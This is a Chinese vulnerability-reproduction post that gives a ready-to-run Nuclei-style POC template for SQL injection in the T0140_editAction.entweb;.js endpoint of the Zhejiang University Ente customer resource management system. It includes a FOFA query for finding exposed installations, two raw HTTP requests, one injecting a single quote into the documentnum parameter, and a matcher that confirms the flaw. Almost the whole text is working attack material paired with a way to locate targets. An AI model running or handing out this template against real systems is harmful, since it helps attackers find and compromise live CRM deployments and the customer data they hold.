【漏洞复现】某客户资源管理系统T0140_editAction.entweb;.js接口SQL注入漏洞 附POC

id: enter-T0140_editAction-api-sqli info:  name: 浙大恩特客户资源管理系统T0140_editAction.entweb;.js接口sql注入漏洞  author: YGnight  severity: high  description: description  reference:    - https://  metadata:    verified: true    max-request: 1    fofa-query: app="浙大恩特客户资源管理系统"  requests:  - raw:      - |+        GET /entsoft/T0140_editAction.entweb;.js?method=getdocumentnumFlag&documentnum=1 HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate, br        Connection: close        Cookie: JSESSIONID=1DAEEF5E703FF40871BD44A67C1EEDD5; JSESSIONID=2C6DAAA80F315B114CD65C9DA80D8D8C        Upgrade-Insecure-Requests: 1
      - |+        GET /entsoft/T0140_editAction.entweb;.js?method=getdocumentnumFlag&documentnum=1' HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate, br        Connection: close        Cookie: JSESSIONID=1DAEEF5E703FF40871BD44A67C1EEDD5; JSESSIONID=2C6DAAA80F315B114CD65C9DA80D8D8C        Upgrade-Insecure-Requests: 1
    matchers-condition: and    matchers:      - type: dsl        dsl:          - "len(body_1)<3 && status_code_1==200 && contains(body_1, '0') && len(body_2)<3 && status_code_2==200 && contains(header_2, 'Content-Length: 0')"